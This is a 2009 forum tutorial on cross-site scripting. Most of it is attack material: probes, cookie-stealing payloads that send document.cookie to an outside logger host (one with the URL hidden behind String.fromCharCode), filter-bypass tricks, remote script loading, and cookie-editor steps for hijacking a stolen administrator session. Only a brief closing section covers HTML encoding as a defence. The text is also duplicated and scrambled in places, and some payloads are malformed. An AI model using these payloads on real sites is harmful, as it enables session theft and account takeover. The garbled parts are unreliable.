What is Cross Site Scripting (XSS)
Posted: Wed Oct 07, 2009 1:33 pm
Strictly For Educational Purposes
Cross Site Scripting, also known as XSS is a type of vulnerability which allows for client-sided JavaScript execution. XSS can be exploited in a variety of ways, such as stealing cookies and other information to be used in different scenarios. XSS vulnerabilities are made possible by the coder of the web application or script in question not sanitizing the user input correctly and printing out the injected JavaScript straight to the page.
The most common way to identify an XSS Exploit would be to use the Alert test. Anyone with a basic knowledge of JavaScript will know what this is. This test will make an alert box, or message box, pop up on the screen. This is done by executing the JavaScript function Alert().
Of course these tests aren’t the bests of ideas, owners of sites tend to notice pretty quickly when a message box pops up when it’s not supposed to be. Another method would be “document.write”
Assuming that there is an XSS exploit found, there are also many ways that an attacker may use this exploit to attack the site.
Example of how a cookie logger might be used on a vulnerable site:
Then the administrator will log on and the cookie will be logged once he accesses the vulnerable page. Then that cookie can be edited and added to log in as that user of which the cookie was stolen from. The Firefox cookie editor Addon allows the user to add the data and content for all of the cookies collected via the cookie logger, then the attacker can browse the site to check if he/she is logged in.
Of course, with every exploitation there’s always a way to prevent it…and then another way to bypass that. Web Administrators have different ways in protecting their sites, though.
Examples:
When using integral values, you don’t need the quotes.
Now what if the target site has both filters? Well, then the attacker would have to use both bypass methods, combined.
Input:
Output:
Some index pages don’t allow you to input a large number of characters, so you’d have to use shorter scripts:
Cross Site Scripting, also known as XSS is a type of vulnerability which allows for client-sided JavaScript execution. XSS can be exploited in a variety of ways, such as stealing cookies and other information to be used in different scenarios. XSS vulnerabilities are made possible by the coder of the web application or script in question not sanitizing the user input correctly and printing out the injected JavaScript straight to the page.
The most common way to identify an XSS Exploit would be to use the Alert test. Anyone with a basic knowledge of JavaScript will know what this is. This test will make an alert box, or message box, pop up on the screen. This is done by executing the JavaScript function Alert().
Code: Select all
<script>alert('XSS')</script>
Code: Select all
<script>document.write('XSS')</script>
- Cookie Stealing – Steal another user’s cookie in order to gain access to their account (including an admin cookie).
- Keylogging – Often overlooked in this exploit, it allows the attacker to log all the keystrokes made by a user on the page where the XSS is (Login pages, private message pages, etc...).
- XSS Worms – Just like any worm, it is a malicious script that spreads across the site from the vulnerable point.
- Portal Forwarding – This script opens an iframe to execute an exploit or opens a malicious download on a legit website.
- Cross-Site Request Forgery – Used to make a user of the site send a request to the server without actually doing it/knowing it.
Example of how a cookie logger might be used on a vulnerable site:
Code: Select all
<script>location.href'http://site.log.php?cookie='+cookie</script>
<script>doument.location='http://site.log.php?cookie='+cookie</script>
<script>window.open('http://site.log.php?cookie='+cookie)</script>
<script>window.location='http://site.log.php?cookie='+cookie</script>
- Open Firefox.
- Click on Tools in the menu bar.
- Click on Cookie Editor.
- Click on Add.
- In name, add the name of that cookie, (the part before the =)
- In content, add the value.
- In host, add .site.com, unless its a sub domain or otherwise stated, (the dot in front of the domain name is important).
- In path, write /, unless you have the exact path where you want the cookie to be active.
Of course, with every exploitation there’s always a way to prevent it…and then another way to bypass that. Web Administrators have different ways in protecting their sites, though.
Examples:
- Tag Removal
Input:Output:Code: Select all
<script>alert('XSS')</script>
Input (bypass):Code: Select all
alert('XSS')
Output (removed tags and echo what’s left):Code: Select all
<scr<script>ipt>alert('XSS')</scr</script>ipt>
Code: Select all
<script>alert('XSS')</script>
- Magic_Quotes (Hah, I’m watching Magician Secrets Revealed while typing this)
Input:Output:Code: Select all
<script>alert('XSS')</script>
Code: Select all
<script>alert(\'alert\')</script>
Code: Select all
String.FromCharCode()
<script>alert(String.fromCharCode(88, 83, 83))</script>
Code: Select all
<script>alert(123456)</script>
Input:
Code: Select all
<scr<script>ipt>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114, 105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</scr</script>ipt>
Code: Select all
<script>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114,105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</script>
- Foreign Scripts
Code: Select all
<script src='http://site.com/x.js'></script>
- <img src=> tag
Code: Select all
<img src='http://site.com/x.js'></img>
- If the attacker’s website name is way too long, he/she may use its IP address instead.
Although, there are many ways to prevent XSS exploitation, the most preferred way would be HTML encoding. In PHP for example, you simply pass your string through the htmlentities() function, and it will convert your string to the HTML coded values. In Perl you would use this method of encoding:Code: Select all
$a = "pie" use HTML::Entities (); $encoded = HTML::Entities::encode($a);